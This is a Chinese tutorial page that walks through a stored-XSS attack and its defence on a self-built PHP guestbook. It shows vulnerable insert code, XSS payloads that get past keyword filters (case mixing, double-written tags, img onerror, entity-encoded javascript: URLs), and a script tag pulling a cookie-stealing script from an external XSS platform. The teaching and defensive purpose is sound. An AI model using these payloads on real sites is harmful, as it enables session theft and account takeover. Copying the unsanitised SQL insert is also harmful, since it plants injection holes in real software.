首页 运维 安全 一次存储型XSS的攻防实战

一次存储型XSS的攻防实战

Dec 03, 2019 pm 05:42 PM
xss 实战 攻防

一次存储型XSS的攻防实战

什么是存储型XSS

它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一般是注入一段javascript脚本。在测试过程中,我们一般是使用:

<script>alert(1)</script>
登录后复制
登录后复制

通过这段js代码,弹个框来证明存在xss漏洞。那么,可能新手就会问了,弹个框有什么用呢?

其实,弹框只是为了证明存在此漏洞。而此漏洞的利用方式由很多种。

比如,你可以使用xss平台:

0f29abcb0ef8b6631c32c75d18abdd7.png

写入一段平台生成的xss脚本:

<script src=//xsspt.com/ZsgUBf></script>
登录后复制

当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。

你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。

注意:本文的重点是一步一步以黑客的角度进行xss攻击,再讨论如何站在开发者的角度去一步一步防御xss攻击。所以我会在本文中以开发的身份修正后端代码,再以黑客的身份进行前端页面的xss攻击,这一点需要注意哦。

对于存储型xss漏洞的表现形式,比较经典的是留言板。但是我们都是遵纪守法的好同学,不能对外面的网站进行测试,所以就花半个小时自己手撸一个留言板咯。

首先,应该有前端展示的页面Message_Board.php和后端存储数据的页面addMessage.php

dd340fe4f0d84836614e548b0430943.png

前端代码不是本文重点(感兴趣的可以自行查看前端代码),我们重点关注后端代码addMessage.php:

<?php
	$nickname = @$_POST[&#39;nickname&#39;];//昵称
	$email = @$_POST[&#39;email&#39;];//邮箱
	$content = @$_POST[&#39;content&#39;];//留言内容
	$now_time = @$_POST[&#39;now_time&#39;];//留言时间
	$ini= @parse_ini_file("config.ini");
    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
		mysql_query("set names &#39;utf8&#39;");//解决中文乱码问题
		mysql_select_db($ini["dbname"]);
		$sql1 = "select count(*) from message_board";
		$result = mysql_query($sql1);
		$floor = mysql_fetch_row($result)[0] + 1;
		$sql = "insert into message_board values
($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
		mysql_query($sql);
	}?>
登录后复制

可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。

所以,只要我们这样输入:

eccc01dfd6e78c932ded3b7bbd82c15.png

提交之后,系统会自动刷新页面出现弹框:

e0df2cc1a008b2baa6e2a9286eb03d1.png

点击确定后,你会发现留言内容和留言者的部分都为空。

8cbf337e184fb5c36f922a1ce06d6b2.png

这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。

8.jpg

那么,问题来了。

毕竟我们还有另外一个身份,开发者该如何防御呢?

0×00、来个最简单的,只修改前端代码

在input标签里面加上maxlength属性

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
登录后复制

至于原理嘛,就是因为js脚本的形式为<script></script>长度为17,所以只要我们在前端对长度进行限制,就可以阻止黑客进行xss攻击了。

可是!开发可没这么好做!

我们是想做开发的黑客,所以还得自己搞自己。

作为攻击者,我们同样可以修改前端代码,具体的操作是使用浏览器的F12(开发者工具)

9.jpg

可以看到,我们可以直接进行长度的修改。

另外,还可以用抓包的方法,在包里面直接写,也是不受长度限制的。

0×01、对关键字script进行过滤

作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。

回到之前的代码。

为方便说明,我只取nickname参数,其实传入的四个参数需要做同样的处理。

$nickname = str_replace("script", "", @$_POST[&#39;nickname&#39;]);//昵称
登录后复制

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

10.jpg

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<script>alert(1)</script>
登录后复制
登录后复制

5ab06447fe511961dfb712752a6b2a5.png

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

aa626e7887d96823133082d89bf6299.png

0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST[&#39;nickname&#39;]);//昵称
登录后复制

str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>
登录后复制

d13fc9cca642e466de8a5946df0e9a0.png

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

弹框成功!

b2c80a7f5749ddbbbcb405efc494cc0.png

0×03、使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
登录后复制

显然,弹框失败。

11.jpg

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img src=x onerror=alert(1)>
登录后复制

0×04、过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
登录后复制

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#49;&#41;>a</a>
登录后复制

当点击页面上的超链接时,会弹框。

12.jpg

但是为什么呢?

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“j”或“j ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>
登录后复制

你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。

作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;
&#41;>
登录后复制

这种写法,同样既没有script关键字,又没有alert关键字。

4d16afd83acdb92b07ad5399d502af1.png

可以看到弹框成功!

5ba7af0d4bfa70a4e75f74d96b3ade2.png

可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。

0×05、过滤特殊字符

优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?

可是我不想手撸代码来列举那么多特殊字符怎么办?

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST[&#39;nickname&#39;]);//昵称
登录后复制

htmlentities()函数的作用是把字符转换为 HTML 实体。

7d8aa122e7c3676c9dd6f2931e8eee5.png

看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。

可以看到,我们输入的内容全部显示在页面上了。

13.jpg

可是却没有弹框。

我们鼠标右键,查看网页源代码

3ed483569df8bc317cd599553db6cae.png

际上,我们输入的内容已经变成了HTML实体:

&lt;iframe src=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;
&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&gt;
登录后复制

无法被解析为js脚本。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

0×06、总结

开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。

黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。

对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。

相关文章教程推荐:web服务器安全

以上是一次存储型XSS的攻防实战的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.聊天命令以及如何使用它们
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

PHP实战:快速实现斐波那契数列的代码示例 PHP实战:快速实现斐波那契数列的代码示例 Mar 20, 2024 pm 02:24 PM

PHP实战:快速实现斐波那契数列的代码示例斐波那契数列是数学中一个非常有趣且常见的数列,其定义如下:第一个和第二个数为0和1,从第三个数开始,每个数都是前两个数的和。斐波那契数列的前几个数字依次为0,1,1.2,3,5,8,13,21,...依此类推。在PHP中,我们可以通过递归和迭代两种方式来实现斐波那契数列的生成。下面我们分别来展示这两

Laravel中的跨站脚本攻击(XSS)和跨站请求伪造(CSRF)防护 Laravel中的跨站脚本攻击(XSS)和跨站请求伪造(CSRF)防护 Aug 13, 2023 pm 04:43 PM

Laravel中的跨站脚本攻击(XSS)和跨站请求伪造(CSRF)防护随着互联网的发展,网络安全问题也变得越来越严峻。其中,跨站脚本攻击(Cross-SiteScripting,XSS)和跨站请求伪造(Cross-SiteRequestForgery,CSRF)是最为常见的攻击手段之一。Laravel作为一款流行的PHP开发框架,为用户提供了多种安全机

Java开发实战:集成七牛云云存储服务实现文件上传 Java开发实战:集成七牛云云存储服务实现文件上传 Jul 06, 2023 pm 06:22 PM

Java开发实战:集成七牛云云存储服务实现文件上传引言随着云计算和云存储的发展,越来越多的应用程序需要将文件上传至云端进行存储和管理。云存储服务的优势在于高可靠性、可扩展性和灵活性。本文将介绍如何使用Java语言开发,集成七牛云云存储服务,实现文件上传功能。七牛云简介七牛云是国内领先的云存储服务提供商,其提供了全面的云存储和内容分发服务。用户可以通过七牛云提

MySQL表设计实战:创建一个电商订单表和商品评论表 MySQL表设计实战:创建一个电商订单表和商品评论表 Jul 03, 2023 am 08:07 AM

MySQL表设计实战:创建一个电商订单表和商品评论表在电商平台的数据库中,订单表和商品评论表是两个非常重要的表格。本文将介绍如何使用MySQL来设计和创建这两个表格,并给出代码示例。一、订单表的设计与创建订单表用于存储用户的购买信息,包括订单号、用户ID、商品ID、购买数量、订单状态等字段。首先,我们需要创建一个名为"order"的表格,使用CREATET

Golang实战:数据导出功能的实现技巧分享 Golang实战:数据导出功能的实现技巧分享 Feb 29, 2024 am 09:00 AM

数据导出功能在实际开发中是非常常见的需求,特别是在后台管理系统或者数据报表导出等场景中。本文将以Golang语言为例,分享数据导出功能的实现技巧,并给出具体的代码示例。1.环境准备在开始之前,确保已经安装好Golang环境,并且熟悉Golang的基本语法和操作。另外,为了实现数据导出功能,可能还需要使用第三方库,比如github.com/360EntSec

手把手教你uniapp和小程序分包(图文) 手把手教你uniapp和小程序分包(图文) Jul 22, 2022 pm 04:55 PM

本篇文章给大家带来了关于uniapp跨域的相关知识,其中介绍了uniapp和小程序分包的相关问题,每个使用分包小程序必定含有一个主包。所谓的主包,即放置默认启动页面/TabBar 页面,以及一些所有分包都需用到公共资源/JS 脚本;而分包则是根据开发者的配置进行划分,希望对大家有帮助。

深入学习 Elasticsearch 查询语法与实战 深入学习 Elasticsearch 查询语法与实战 Oct 03, 2023 am 08:42 AM

深入学习Elasticsearch查询语法与实战引言:Elasticsearch是一款基于Lucene的开源搜索引擎,主要用于分布式搜索与分析,广泛应用于大规模数据的全文搜索、日志分析、推荐系统等场景。在使用Elasticsearch进行数据查询时,灵活运用查询语法是提高查询效率的关键。本文将深入探讨Elasticsearch查询语法,并结合实际案例给出

Vue实战:日期选择器组件开发 Vue实战:日期选择器组件开发 Nov 24, 2023 am 09:03 AM

Vue实战:日期选择器组件开发引言:日期选择器是在日常开发中经常用到的一个组件,它可以方便地选择日期,并提供各种配置选项。本文将介绍如何使用Vue框架来开发一个简单的日期选择器组件,并提供具体的代码示例。一、需求分析在开始开发之前,我们需要进行需求分析,明确组件的功能和特性。根据常见的日期选择器组件功能,我们需要实现以下几个功能点:基础功能:能够选择日期,并

See all articles